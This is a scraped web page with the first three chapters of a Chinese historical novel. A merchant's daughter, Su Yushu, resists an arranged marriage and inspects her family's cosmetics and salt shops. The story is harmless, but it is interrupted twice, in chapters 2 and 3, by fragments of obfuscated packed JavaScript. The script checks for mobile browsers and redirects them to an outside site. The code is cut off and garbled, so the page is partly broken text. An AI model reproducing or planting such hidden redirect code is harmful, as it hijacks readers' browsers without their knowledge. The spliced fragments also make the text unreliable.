《扑朔》 1. 第一章 “小姐,小姐你别跑了小姐!”绿萝喘得上气不接下气,她前面那个撒丫子跑的正欢的鹅黄色的背影对她的叫声充耳不闻,一溜烟地径直往前跑。 “小姐!小姐!你别跑了我有事和你说!”绿萝又颠了两步,可她家小姐理都不理她一下,一个脚底抹油几乎马上要消失在她的视野里。 “苏玉淑!你给我站住!你有完没完了你!” 刚才还风驰电掣的身影一个急刹,脚底差点蹭出火星子来。她从小和绿萝一起长大,虽说是主仆关系,可大她两岁的绿萝总是像姐姐一样,关键的时候从不惯着她,甚至私下里没人的时候,偶尔还会数落上她几句。 “站住了……”苏玉淑犹犹豫豫地转过身来,“你别凶你别凶……” “你多大个人了还玩什么离家出走呢!你不知道现在这世道不太平?老爷太太让你物色人家你就跑,这要是和别人家似的直接给你指个人家,苏大小姐您还不得给家里一把火点了啊?” “没离家出走……” “那你跑什么?” “呃……就……吃多了,我消消食……” 绿萝抓着她的手暗自用力,脸上却还是云淡风轻:“别逼我在路上扇你。” “走走走回家说回家说。”苏玉淑讨好一笑,低着头就往回蹿。旁边的人往这边看了几眼,也都见怪不怪地笑笑不说话。 这苏玉淑在师城可是出了名的。倒不是因为她是商贾大家苏家的嫡女,也不是因为做的一手好账,更不是因为她模样清丽出挑,而是因为她实在是太能折腾了。三岁上房揭瓦,五岁学着男子舞刀弄枪,七岁非要和其他子弟一起进书塾,如今年方二八,非但不想着给自己找个人家,反而每天不是在自己家的柜坊抛头露面,就是带着婢女游山玩水吟诗作赋,师城上至耄耋老人,下至三岁孩童,没一个没听说过苏大小姐的名号的。 她就是不想嫁。 “来,你说说你为什么不想嫁人!”苏老爷看着被一路揪回来的这个丫头就来气,“从小你要干什么家里不是宠着你惯着你,如今要议亲了,你却还是这种做派!你叫哪个敢娶你回府!” “不敢就别娶呗……” “你个不孝的——”眼见苏老爷抄起茶杯就要扔,苏太太赶忙按下: “老爷,别气别气,气坏了身子不好。”她默默把茶杯摆好,“要扔扔那边的,这个贵。” “你说什么!”苏老爷气得手直哆嗦,“你们娘俩儿真是,一个个的盼着,早给我气死就好了是吧!” “我只是还不想嫁人,你何必要说到这个份上。”苏玉淑索性不跪了,她站起身来直勾勾地看着自己的双亲,“我还没看够这世上之物,还没体会过这大好山河,难道这就要塞到别人家,去做个庭中雀不成?” 苏老爷气的胡子都跟着哆嗦:“你说的什么混账话!你一个女儿家,你不嫁人,你还想当官府老爷不成!” “我若是当的了呢?” 厅上一时鸦雀无声。 苏玉淑的目光一刻也没有闪躲,她就像一只待发的猛兽,丝毫没有掩饰眼中的野心欲望。若是真能当得那青天大老爷,她又何苦窝在这小小地方。苏老爷抬眼一瞥,他最讨厌苏玉淑脸上这副表情。 这孩子打小便不懂得什么是温柔和婉,不服就打,打不过就挺着,家规刑罚受了一本子也不见认错,丝毫没有别人家女儿娇滴滴,羞怯怯的模样,真是白长了一副好皮囊。 这副不撞南墙不回头的德行,他一介人精商贾,是怎么看怎么不顺眼。 眼见这对父女剑拔弩张,争吵一触即发,苏母连忙上去打圆场:“好了老爷,玉淑还小,她懂什么事啊,改天请个教导嬷嬷来家里,教教她规矩便是了,何苦气坏了身子。”她看了一眼绿萝,只一个颜色绿萝便心领神会,迅速把梗着脖子还不服气的苏大小姐带离了厅堂。 “你说说她一个女儿家,每天不是招猫逗狗就是舞刀弄剑,好不容易安静一会儿,不看女德看什么四书兵法,你说她这是要干什么,盼着我这老头子早死了她当家不成……” 身后的唠叨不绝于耳,一句比一句难听。苏玉淑看了看绿萝,无奈地叹了口气。 喜欢琴棋书画是喜欢,喜欢文韬武略就是错吗。 她不明白这是为什么。 苏家自祖上起,便是世代经商,家中基业丰厚,做到师城首富实属不易。只是这数代后人,竟无一人走上科考仕途,苏家再富有也只能是富商乡绅,没有权力的加持,经商之途更是受制于人。苏玉淑从小见惯了那些用人朝前,用罢朝后的恶心嘴脸,更是见惯了那些狗仗人势,欺压百姓的狗官。她没有一刻不想翻身,真真正正能给自己,给苏家,给师城的百姓做回主,若自己生下来是个男儿身,以她的天资又何尝不能登阁拜相。 等等。 绿萝被自家大小姐看的浑身发毛:“我的小姐,您又想着干点什么?” “你说,咱俩当俩男的怎么样。” “等会儿我给你请个郎中看看脑子。” 她就知道,从小到大苏玉淑一有什么馊主意就是这副贼兮兮贱嗖嗖的表情,果然,这次也没是黄鼠狼撅腚——没憋好屁。 “我没和你开玩笑,我认真的。”苏玉淑一脸真诚,“绿萝,这家里只有你和我最亲,咱们从小一起长大,难不成你要眼睁睁看着我随随便便被嫁出去,嫁到一家不知道什么狗头嘴脸两面三刀的家中去?” “你嫁人我肯定会跟着,刀山火海我都陪你,要杀要剐我也绝不多言。但是大小姐,奴婢可长不出来那玩意儿,您还是自己想想办法吧。” “哎你个死脑筋,你——” 苏玉淑刚要发作,绿萝摆摆手便把她的话活活堵在了嘴里:“大小姐,你有时间想东想西,我可没那么多时间陪你。老爷发了话,今天我要带你去咱们家那家布料铺子挑些时兴的,好给你新裁几身衣裳。晚些还要去那家首饰铺,新打的簪子好了,要取回来给你梳个精巧的发髻呢。” “我不去,我身上衣服穿了挺舒服的。脑袋上戴那玩意儿也不方便,那都是你们喜欢戴的,你要是喜欢你拿走。” “奴婢不敢。”绿萝行礼道,“大小姐还是回房休息了,等下我驾好车再叫您。” 苏玉淑不再多言。 绿萝的性子她再熟悉不过,眼下怕是也生了自己的气了。这倒也不怪她,每天跟着个闯祸精收拾残局,换成自己怕是早就将人一刀两断杀了得个痛快。 与其此时针锋相对,不如提前想好对策,正所谓锐始者必图其终,成功者先计于始。眼下可不是什么揭竿而起的好时机,还是静观其变为妙。 这么多年的憋闷日子都过来了,还差这几天吗。 苏玉淑叹了口气:“知道了,你去吧,我回房了。午饭送过来,我就不和父亲母亲一同用了。” 绿萝这一走,她的院子就更加安静了,连初夏里微微的风声都能听的清。苏玉淑坐在院子里的石凳上,望着抽了新芽的老树出神。 她不喜欢闷在屋子里做女红,像自己母亲和那几位姨娘一样捧着块布料研究个没完。她更喜欢坐在外面,写写字练练剑,哪怕是看看账本都是好的。她对于绣样首饰胭脂水粉之类并不感兴趣,但往往被苏父逼迫着守着这些所谓“女孩子家的东西”一待就是一整天。 但她总是擅长苦中作乐,一来二去竟也学会了估算这些财物价值的本事,新来的货品只经她一眼,便能说出质地来历,再估摸出几个月的库存销路。苏家的几个铺子靠着她的指点,销量比其他几间米油茶的门店好了不少,几个掌柜腰杆都直了一截。 苏父每每点账,眼见家中钱款愈发积累,都深感自己的经商天赋是如此之高,高兴之余又感伤于自家没能出个官场之人,而后便到苏玉淑的院子里威猛一番,彰显一下家主气概。 想到这些年他耀武扬威的样子,她就觉得气短。哥哥天赋还没有自己高,背个书都要好几个时辰,两斤重的剑快十岁了才能舞起来,竟然也能得到父亲赏识,说成是堪用之才,各式各样的先生师父请了一马车,也没见他学出什么样子来。 这些年来,她里里外外受的气还不够吗,别以为她猜不到这时候要把她嫁出去 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苏玉淑不甘于只刺破面前不存在的敌人,她发了狠似的将剑下压,金属与碎石碰撞出刺耳的声响,剑痕在地上刻出蜿蜒的沟壑,一路倒退至树脚下,她一个转身如同一只黄鹂轻巧翻飞,宝剑在空中划出一道弧光,竟折射出几分虹似的颜色。她心中着实烦闷,轻舞几下实在是难消郁结,索性不管什么章法剑法,只是发狠似的朝空气劈砍,直到力竭为止。 “唉。” 她一屁股瘫坐在地上,任由逐渐毒辣的日光劈头盖脸地照在自己身上。已经是入夏的温度,身上出了汗倒也觉得凉飕飕的。苏玉淑心里明白,此时在这里发狠也是没什么用处,发泄完了还是要老老实实听从家族安排。只是年岁渐长,她愈发觉得困顿难解,只是不知能有什么办法逆天改命,能不像那些终日不得自由的女人才好。 要是能一走了之…… 逃。 这个念头一旦出现,便如同毒药一般迅速侵蚀了人的四肢百骸。苏玉淑恶狠狠地摇摇头,她不能这么做。 绝对不能。 尽管她一千一万个不愿意,可她依旧是家里的嫡女,承担着苏家的脸面,若是畏惧姻缘落荒而逃,还不知道这城里会传出怎样的闲话,别人会在背后怎么指摘苏家,更别提连带着家人都要一辈子抬不起头来。虽然她的性子无拘无束,胸中装着的不只是内帏庭院,可如果只顾自己而弃他人于不利之地,也绝非玉淑所为。 眼下时节不好,北边战事又起,南边商路也是时断时通,她们东梁居于几个国家之间,虽然守着大部分海路,人杰地灵资源富庶,但覆巢之下焉有完卵?想到这儿,玉淑又忍不住叹了口气,这时候,父亲不操心操心家里的生意应该如何应对时局,却操心起自己这八竿子打不着的婚事来,也当真是鼠目寸光,不成大器。 她四下打量着,可是手边什么能打发时间的东西都没有,她也没那个心思回房静静读书。玉淑沮丧的目光又落回手边的宝剑,一个比逃跑更灵光的想法突然出现她脑子里,她顷刻间兴奋起来,若是将这件事办成,或许此时的难题便能有转圜。 “小姐,吃饭了。”绿萝拎着食盒走进院子,“我去小厨房给你加了一道白玉鲈鱼羹,其他的菜也都拿了你爱吃的,快别生气了,吃饱肚子再说。” 苏玉淑坐在树下,像是没听到似的,目光发愣。 绿萝撇撇嘴,她家小姐这脾气,一时半会儿怕是不会好了。 “好啦,现在外面也暖和,要不我把饭菜摆在石桌上,小姐你在外面吃呢?反正老爷夫人不在,只要你能开心点,也不用守着那堆规矩。” “嗯。” “别愣着了,快起来了……” “绿萝。” “嗯?” “去打听一下,师城要来的那个人是哪边的人,是军里的,还是官道上的。” “小姐,你又想干嘛呀?”绿萝看着苏玉淑坚定的眼神,兀自叹了口气,“知道了,奴婢这就去办。” “不急,先吃饭。”苏玉淑大咧咧地打开食盒,“下午不是还有正事要做吗?” “正事?” 她狡黠一笑:“对,我们苏家的,大大的正事。” 2. 第二章 今日街上倒是热闹的很。 玉淑坐在马车里,一晃一晃的憋得难受。再加上窗外的吆喝声不绝于耳,她也实在难抵诱惑,便偷偷撩开帘子,透透风,也看看景。 师城和东梁的其他城市不一样,是个商贸极其发达的城市,市坊一处,瓦舍酒坊一应俱全。东梁把守着偌长的海岸线,大部分的贩盐生意都掌握在自己手里。苏家最早也是靠着贩盐起家,只是最近官府对盐铁生意查的越来越紧,苏家也不得不小心应对着。师城里绝大多数的盐商都是苏家商号下的,若是真有一天打起仗来…… “绿萝,还有多久到?” “小姐,再拐个弯就是了,您看前面这条巷子,就因为小姐一句话,老爷买下了多数商铺,把胭脂水粉和首饰布料店面放在一处,销量比以往好了不少呢。” “那这条巷子离安字号的盐店有多远?” “这奴婢就不太清楚了,小姐若是想去看看店面,一会儿咱们拿完东西叫车夫过去一趟便是了。” “好,你让车夫去报掌柜一声,就说我要看账本。” “是。” “吁——” 绿萝话音未落,马儿低低的嘶鸣声便传了进来。车身随即晃动一下,苏玉淑没有要绿萝扶着,轻巧一跃,自顾自下了车。 她四周张望一下,这条巷子虽比主路窄了不少,却是在风口处。四家胭脂水粉铺子把守街道两端,微风一过,吹得整条街都是香味儿,中间几家裁缝铺子的布料沾染上这股香气,似乎连颜色都艳丽了不少,引得师城里的女子纷纷来此地购买。一家看不够还要再看看别家,买了口脂还要再买些香粉,什么时兴的料子,流行的颜色,都是从这条巷子里出去的,上至掌家主母,下至豆蔻少女,这狭窄的巷子里各样的女子络绎不绝,也难怪别人管这里叫做美人街。 当然,苏玉淑挑中这里也不只是因为独到的地理位置,而是因为……这条巷子的背面,便是师城有名的烟花之地。勾栏瓦舍之处所用胭脂水粉,一天便抵得上普通人家数月甚至数年的用量,如此地方做买卖,兼顾着送货上门的业务,岂不是守着金山一般,吃穿不愁。 “大小姐,您来了。”美人街上的四家胭脂店是同一个掌柜,名作王山,年岁不大却办事老道,他微微弯腰,客气又不显得卑微,“老爷吩咐下来了,今天给您置办些个新物件,小姐看中什么只管取走便是,今日店里的营生已经都派下去了,您只管使唤小人,需要什么,小人一定办到。” “王掌柜,你我本是旧识,何必客气。”苏玉淑指了指一旁的首饰店,“这家按我说的整改了吗?” “是,大小姐,我们高价从其他地方请来了几个老师傅,按您的吩咐,已经把定制首饰的幌子,招牌都打出去了,最近接到了几单,但是……” “但是还没回本?” “大小姐明鉴。” 苏玉淑抬眉一笑:“最近师城里不是要来一位大人物吗?” “是……”王山不解,“是啊?” “你不明白?” “还请大小姐点拨。” “使点银子把这消息放出去,尤其是那些高官世家的小姐家里,,一定要人尽皆知。有了这么个由头,谁不想艳压别人一头呢?你说,到时候是店里这些普通的簪子发钗卖的快,还是定制的单子接的多呢?” 王掌柜两眼放光:“大小姐真是经商的奇才啊!” 绿萝轻轻推了推苏玉淑的胳膊:“小姐,别忘了正事。” “是,我差点忘了。我想看看这一批的胭脂,哦对了,”玉淑摆摆手,“让首饰店做点贵的,但是又别太贵的,稍微别致点的款式,我估摸着也有家中拮据的要买,但是过了这阵子就不必再卖了。” “是。小的都记下了。大小姐楼上内间稍候片刻,我去为您取这一批的胭脂。” “账本也顺手拿来。” “是。” 眼瞧着王掌柜走向柜台,绿萝小声道:“我的大小姐,你怎么又看那东西。老爷可吩咐了买首饰裁衣衫……” “知道了,别啰嗦,我要做什么你只管做便是。” 二人绕过店里熙熙攘攘的女子,步上楼梯。二楼隔音倒是极好,整条街的人声仿佛是从很远的地方传来似的,倒是有种心远地自偏的意味了。内件的装潢很是典雅,几方绣着不同花样的屏风将不大的店面巧妙地分隔开来,二人走进绣着牡丹纹样的一处,里面的桌子上早已放好了提前备下的点心和牛乳茶,香气氤氲在脂粉香里,整个房间都甜腻得和少女的心事一般。 “小姐,小姐!”绿萝两眼直放光,“玫瑰酥!” 没等绿萝再说点什么,玉淑一个眼疾手快,直接把玫瑰酥塞进了她嘴里。趁着人没上来,能吃一口是一口。 “快点嚼,有人上来了。” “呜呜呜……呜呜……”绿萝憋的脸通红,她扑腾着倒了一杯茶,总算是连汤带水地赶在掌柜的上来之前吞了下去。 “大小姐,这是新上的一批胭脂,您要的账本我也带来了。” 绿萝隔着屏风接过来,摆在了红木方案上。 “大小姐,最左边的是石榴醉,是取中原的石榴花研磨,再加上提纯的油脂凝练而成。中间偏红的是最新研制的朱砂痣,是取南海之滨的胭脂虫所制,做口脂胭脂皆可,工序最为复杂,价格也最高。右边的是海棠霜,是之前海棠红的技术又精炼了一些,颜色更持久细腻。大小姐您看,各送多少到府上呢?” “不急。” 苏玉淑打开石榴醉的瓷盒,颜色着实艳丽,是泛着油光的银红色,初夏的时节里刚好适配时兴女子的妆容,若是涂在脸颊上,定是显得人娇憨可爱。只是石榴花的花朵过于坚硬,里面有一丝不易察觉的苦涩味,闻起来有种劈柴砍树似的狂野感。 “王掌柜,石榴醉售价是?” “回大小姐,石榴醉三钱一盒。” 苏玉淑心不在焉地翻看着账单:“配一盒玫瑰水粉或者香粉搭着卖,四钱。” “是,小的记下了。” 中间这盒朱砂痣倒是别致,颜色艳红如同火烧云,质地细腻滑爽,就连容器都是工艺精巧的漆器,一看便知价格不菲。 “朱砂痣……每盒五两?” “是,大小姐,朱砂痣的售价并不固定。只因胭脂虫不可多得,最近的量倒是大了一些,但也是供不应求,每月产量不过十盒,且这是商路通畅的情况下才能有的数量。平均下来每盒大约是六两五钱。” “那还真是挺贵的。”苏玉淑看了绿萝一眼,她便心领神会地把这盒朱砂痣收入囊中。 最后一盒海棠霜是她们苏家的招牌,从最早的一代研发至今,工艺是愈发精进了。如今这盒虽然装在最简单的白瓷盒子里,却难掩它出色的质地香气。她忍不住沾上一些,涂在手背上,竟比想象中还要顺滑,颜色雅致秀丽,且那股海棠花的香气清雅悠远,和其他的脂粉不可相较。 “石榴醉你拿回去吧,另外两盒我就取走了,也不用再往府上送了。” “是。” “只是……”玉淑微微皱眉,“为何店里的画眉墨突然……” “回大小姐,咱们盈字号的画眉墨都售光了。并非是小的们备货不及时,而是北方商路阻断,原产于燕山一带的眉石运不进来,一时间也还没有找到替代的原材料,因此才销量骤减。” “无妨,我只是问问,卖其他的替代品就是了。”她站起身来,又顺手往绿萝嘴里塞了一块糕点,“我还要看布料样式,不久留了。这几家店营销极好,王掌柜劳苦功高,可见您是个心明眼亮又机敏沉稳的,我回去一定会向老爷传达,往后的日子,盈字号还要指望您。” “大小姐这是哪里的话,我……小人送您下去。” 王山看着她的背影,英气挺拔,没有其他闺阁女儿的娇弱柔软。但他十分明白,在苏家,在师城,甚至放眼整个东梁,他家的大小姐都是难得的经商之才,只是身为女儿身,着实可惜了。 也不知她是否要去面见那位大人物…… “掌柜的,不必相送了。就在隔壁,我自己走过去就是。” “那小的就不打扰了,大小姐若有别的吩咐,叫人来通报一声便是。” “去吧。” 没了外人,主仆二人松了口气,只是没走多远又到了自己铺子。苏玉淑还是老样子,要了账本来看,只是还没仔细瞧瞧,就被绿萝拉去后面量了尺寸,又被逼迫着换上了之前做好的新衣。 她可怜巴巴地瞧着绿萝:“账本……我想……” “不,你不想。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457785|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “大小姐,奴婢奉老爷之命,为您试一下新式的发髻,还请大小姐选些喜欢的首饰。” 苏玉淑打量着身后这位婆婆,个子虽不高,一双手却纤细修长,绿萝也向她行了礼,想必是位资历深厚,教养严格的老嬷嬷。 她身上这件衣服是水浅葱的颜色,和夏日极为相称。面前的首饰盒里大多是金饰,尽管奢华多彩,却显得有些俗气,夏天佩戴令人看了更觉闷热。倒是一根镶嵌着翡翠的发簪引起了玉淑的注意,这根簪子通体素银,油润的翡翠被雕成叶子的形状,两片翠叶之中又嵌着一枚硕大的珍珠,如同广袤森林隐约的一轮明月,下方缠绕着的一些稀碎小珍珠如月光下的蜿蜒冷瀑,柔和又夺目。 “就这个了,其他的您看着选了便是。”说罢,她两眼一闭,索性在店里闭目养神起来。 苏玉淑感觉得到嬷嬷的动作极其轻柔,丝毫没有扯痛她,反而有种按摩的舒适感。两家店面的账本她粗略扫过,账目自是没有什么问题,只是北路来的商品数量极少。如若是一种两种还可以说是偶然,只是布料店里也恰好少了北地的一种蚕丝制成的一种绸子,而这种蚕丝是大货,通常是不会缺的,现下看来,只怕战事要起的传闻□□是真的。 苏家数百年来仍屹立不倒,前提便是东梁没有经历过大的战事。世道安稳才能钱粮稳,百姓手中有钱了才能供养的起其他的花样。如若她的想法没错,苏家的生意是要有些变动了。其实她早就提醒过父亲,贵价商品虽然利润颇高,但是以这些营生为重绝非长久之道,此时一定要抓住这个契机,才能将苏家从战乱的边儿上拉回来。 只是要怎么做…… “大小姐,梳好了。” 嬷嬷的声音打断了她的思路。苏玉淑缓缓睁开眼睛,镜中人梳着当下最时兴的云髻,两支掐丝珐琅小发钗配着翡翠银簪,更显得珍珠的圆润。她左右晃晃,在发髻的右侧还别着一只步摇,云母做成的海棠几朵簇拥在一起,精巧别致,垂下的珠链由上好的月光石打磨而成,泛着蓝盈盈的光。 “嬷嬷辛苦,您的手艺真是好。” “大小姐哪里的话,老身身无长物,只会些手上的本事罢了,大小姐喜欢,是奴婢的福气。” 绿萝微微欠身:“不过嬷嬷倒是瞧着有些眼生,是什么时候来到苏家的?” “老身并非苏家奴仆,而是王掌柜和首饰店的金工师傅一并聘来的。” “王掌柜能替苏家请到您,是苏家的福气。往后不知道师城里要有多少姑娘小姐要求着您梳一梳这漂亮的发髻呢。” “大小姐这是哪里的话,真是抬举老身了。”嬷嬷连连摆手,脸上添了一丝羞赧,“这些首饰金器也是店里几个师傅新制出来的,大小姐若是不嫌弃,请也一并带走吧,不然师傅们怕是要伤心了。” “绿萝,收起来吧。”苏玉淑笑笑,“您替我转告几个师傅,他们的手艺极好,有机会我定当亲自致谢。我们走吧,还有其他的事情要做,嬷嬷不必送了。” 新换的衣裳裙脚有些紧,苏玉淑上车的时候只觉得腿被生生绑着似的,好像个瘸腿的猴子。等两人坐定,她长长地出了一口气,整个人是背也坨了,腰也塌了,像团烂泥似的瘫在绿萝身边。 “小姐,你小点声,外人听见了都笑话死你了。” “有什么的,没见人都走了吗。你和车夫说了吗?” “是,咱们现在就在去安字号的路上,不过两处离得不近,小姐你先歇会儿。”绿萝贴心地揉着玉淑的腿,“小姐,要我说你就别练武了,瞧您这腿结实的。” “你懂什么。” “是是是,我不懂,”绿萝撇撇嘴,“我不懂武术账本,可我懂得说什么话能不让老爷生气,我又不罚跪。” “就你长了嘴。”苏玉淑不知从哪儿变出一块方帕子,她晃了两晃,两块玫瑰酥旋即露了出来。 绿萝兴奋得差点拍起了手:“小姐我就知道你疼我!” “吃吧,吃了你就不多话了。到地方叫我,我要睡上一会儿,只怕是今天还要有的忙呢。” “忙什么?”绿萝塞得满嘴甜香,囫囵着问道。 “忙什么?自然是忙着提防那虎豹豺狼,忙着筹谋我自己的终身大事。”苏玉淑不再多说,靠在绿萝的肩膀上沉沉睡去。 3. 第三章 苏玉淑做了个长长的梦。 她梦见自己站在高高的城墙上,看着脚下的兵荒马乱。梦见无数只穿云箭迎着自己而来,遮天蔽日。梦见远处妇孺的哭声,梦见自己沿街乞讨。马车里本闷热,她却活生生憋出一头的冷汗。 绿萝细心地将那些汗珠擦去,她从小和玉淑一起长大,年龄虽稍长些,可到底没有玉淑这样有主意。她只能像个姐姐一样陪着她,护着她,却也不知道还能为她再多做些什么。玉淑这孩子性格又直又傲,除非是自己真真喜欢,否则哪里能听了老爷的安排呢。 这家里只怕是要大闹一场了。 她握了握苏玉淑的手,稍稍用了点力。玉淑打小顽皮好动,不是练武骑射就是自己捣鼓点小玩意儿,这一双手竟然比自己这个婢女还要粗糙些。 “今天晚上看我不逼着你用栀子蕙兰汁水泡手。” “嗯……”苏玉淑手上吃劲,终于从冗长的噩梦里抽身出来。她使劲睁了睁眼睛,马车里略微浑浊的空气令她的鼻腔一紧,“绿萝?” “在呢。快到了,小姐醒醒盹。你可是梦见什么了?这一头的汗,擦干了再出去,不然怕是要伤风了。” 她摇摇头:“没什么。可能就是闷的不舒服吧。” “没什么就好,要是像杜家那个三小姐似的被噩梦惊着了就不好了。” “杜家三小姐?是特嚣张那个吗?” 绿萝两眼放光:“是呀,就是她,上次在大街上就把人打了那个。听说她在家梦魇了,发了癔症,天天要死要活的,说有鬼天天盯着她,大白天的往湖里跳呢!” “这种人恶有恶报罢了,我又没做亏心事,怎么会惊着。不过我一向听说她是个胆子大的,之前在宴会上也见到过几次,不像是会被吓疯的人啊。她家权势又大,怎么也没请郎中和别的先生来看看吗?” “这奴婢就不知道了。”绿萝撇撇嘴,转而又高兴起来,“小姐,我给你打听打听,我就知道你也想听!” “那行,打听完了记得告诉我,她们杜家怕是要热闹了,有什么有意思的都一并听了来,省的咱俩晚上无事可做。” “小姐,您这爱听别人家墙角的毛病可还是没改,嘿嘿。” 苏玉淑双眼一瞪:“你懂什么!这是情报,情报懂吗?你没有情报,怎么拿主意?这商场如战场,做生意和做人一样,你懂不懂……” 紧接着她又说些什么成本,利润,几分几钱什么的,绿萝也听不甚懂,一时之间,马车里充满了快活的空气。 绿萝不耐烦地摆摆手:“行了行了小姐,到了到了。您要再说下去,我可要发癔症了。” 总算是熬到了下车。安字号的牌匾比盈字号大了不少,在师城这条最大的主街上是数一数二的惹人注目。安字号下主营贩盐和粮油生意,取的便是个安定祥和的好意头。她们苏家的盐比其他家的质量都要好上许多,质地细腻,颜色雪白,杂质极少,祖传的晒海盐的技术无人能出其右,苏家的盐更是官盐里的上品,师城每年的贡品里面,必有她苏家一席之地。 只是盐这东西家家都要用得,价格必定不高,加之工序复杂,苏父这几年也不甚上心,大有撒手不管的趋势了。 “苏大小姐,有失远迎啊!是哪阵风把您给吹来了?您是怎么想起来要来安字号了!” 苏玉淑循声望去,刘掌柜正迈出门来迎。他的年岁比王山要大上不少,在这几个字号的掌柜里面算起来,到苏家做事也是最早的。 刘掌柜只是稍稍拱手,并没有像王山一样毕恭毕敬地行礼。他满脸堆笑,本就不大的眼睛几乎挤成一条缝儿,仿佛连点光都透不进来似的。 这副谄媚的表情,看得苏玉淑是浑身别扭。 “刘掌柜的,我就是出来逛逛顺道看看,没什么。账本备下了吗?” “是,已经提前给您拿出来了,就放在柜台里呢。咱们安字号有个规矩,账本不离台,就算老爷来了也是如此,大小姐若是要看,只能委屈您到柜台里站着看看了。” 说罢,刘掌柜微微欠身,做出一个“请”的手势。 “这有什么委屈的,您守着安字号的规矩,这是好事。做生意要是没了规矩,只怕是离倒闭不远了。”苏玉淑不卑不亢地笑笑,“我自己去看即可,掌柜的自便。绿萝,我们走。” 她没有看向一旁的掌柜,径直向柜台处走去。几本厚厚的账本兀自堆在台面上,其中几本甚至有些发黄卷边。苏玉淑皱了皱眉头,从最上面的一本翻看起来。 “大小姐,您甚少来我们安字号,不知这次所谓何事呀?” 她抬眼看了看刘掌柜,没有说话。 最上面这本还是去年年底的,看来这里是这半年来的账目了。盐庄的账目和胭脂水粉店面的稍有不同,这里的账目并没有标明入价,只是每三月和盐场那边对账核算。安字号所贩之盐多以细盐为主,上面每一笔售量都清清楚楚,虽然每家每户所用的盐并不多,可整个师城的户数所需累积起来,一家盐号的利润竟比美人街上的几家铺子加起来还要高出一些。 “大小姐,这是老爷想起来对对账吗?只要老爷吩咐一声,小店上下都会准备着的……” 她依旧没有接话。 绿萝走出柜台,屈膝行礼:“刘掌柜的,我们小姐看东西时候不喜欢有人说话,您请自便吧,这么大一家店,怕是有许多事要劳烦您呢。” “是,是,早听说苏大小姐天资聪颖,这不是盐店事多事杂,怕给小姐添麻烦不是……我这就走,这就走。”刘掌柜讪笑两下,转身招呼起店里的客人来。 “绿萝,你瞧见他那样子没有?” “小姐,奴婢最讨厌这样贼眉鼠眼的人了。”绿萝低下头,以微弱的幅度翻了个白眼,“您还是快点看,看完我们好回去。” “我是说他刚才那个眼神。” “什么眼神?” “嘴里说的是恭恭敬敬的话,眼里可全是算计。什么账不离台,我看是钱不离手才是。” 她转而继续研究起了手中的账目来,盐庄的数目着实庞大,乍一看也看不出个什么究竟,可玉淑总归觉得哪里不对,而且这账本上有股子说不清道不明的奇怪味道,她一时之间也分不清是什么。 “隆发顺饭庄,细盐八十斤……” “同兴号饭庄,细盐一百二十斤……” “暮春楼,细盐五十斤……” 绿萝忍不住打岔:“小姐,这暮春楼的桃花芙蓉糕最好吃,下次我给你买回来。” “行。也不知道是我想吃还是你想吃。” 主仆二人笑笑,苏玉淑稍稍松了口气,这么大一间盐庄,若是出了事,刘掌柜第一个跑不了,或许也是她多心了。 “诶!我说你这老头儿!”粗粝的男声吓了两人一跳,她俩抬头望去,正赶上热闹,“你不买别摸我家的盐行不行!瞧你那手脏的!” 老人颤巍巍地辩解道:“我,我得看看够不够细啊……” “嘿哟!你看什么看!谁不知道我们安正庄的盐是师城最好的啊?哪儿来的臭要饭的,土老帽儿,别以为我不知道!什么细不细的,怕是要蹭了指甲盖里那点子盐巴,回家去炒盘子菜吧!” “这刘掌柜说话也太难听了!”绿萝刚要发作,苏玉淑却摇了摇头。 “大掌柜的!您来了!”那伙计三步并作两步,作着揖便跑到刘掌柜身边,“您看这臭老头儿,都脏了咱们店的地砖了!” “买不起就别买,我们安正庄也不是做慈善的,要饭去别的地方要去,滚!”刘掌柜都没用正眼瞧上一瞧,“愣着干嘛?还不把他给我轰出去?一会儿千山饭庄的老板可要来算账,别让他看见,真当什么人都能买的起我们的盐呢!” 得了令的伙计瞬间得意起来:“走!走!一把老骨头掉不出几个铜板儿,别让我抽你!” “诶,掌柜的,你……诶……别推,别推……” 眼见老人半个身子都被推出了门,绿萝有些着急了:“小姐?” 这次她得到了一个肯定的表情。 “住手!” 那伙计像没听见似的,手上的力度一点都没减。 “小王八羔子,我让你住手!” 绿萝这一嗓子中气十足,那伙计仿佛大梦初醒似的,才反应过来这姑娘是在骂他。 “我说,你家里没爹没娘吗?你石头缝里蹦出来的,沙子堆里挖出来的,死人堆里自己爬出来的不成!” 苏玉淑笑笑,绿萝的脾气她最清楚不过,如果说自己是果敢刚毅,那她绝对是刚正不阿。绿萝虽然是奴婢的身份,可她是自己身边最近的人,一张利嘴行侠仗义起来不留情面,整个师城里敢和她叫板的,怕是也找不出几个。 “嘿,你这死丫头片子——” “闭嘴!混账羔子!” 刘掌柜及时喝止了刚要发作的伙计:“这是大小姐身边儿的人,你几条命敢和东家叫板?让你滚就赶紧滚,别在这儿碍着贵人的眼!” “听见没有?你们掌柜的让你滚!呢!还不趴下?”绿萝双手叉腰,像个小母夜叉,“滚啊?等我扶你呢?刚才不是挺横的吗!” 刘掌柜哑然:“这,啊这,哎哟……姑奶奶,您这……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏玉淑用眼角余光瞧着刘掌柜,他的神情并不好看,仿佛老人拿走的袋子里不是盐,而是白花花的银子似的。她心下鄙视,却仍然挤出一副淡然的样子: “刘掌柜,今天我当众驳了你的面子,你可有怨言?” “岂敢岂敢,大小姐教训的是。”刘掌柜转而怒目而视,“你!滚过来!” 小伙计吓得一抖,哆嗦着肩膀磨磨蹭蹭地挪到二人身边。 刘掌柜突然抡圆了胳膊,结结实实给了他一个大嘴巴子:“我让你嘴贱!我让你猖狂!你个不知道天高地厚的小瘪犊子,老子今天就打断你的腿,扔到野狗堆儿里去!” “掌柜的,掌柜的,我不敢了!” 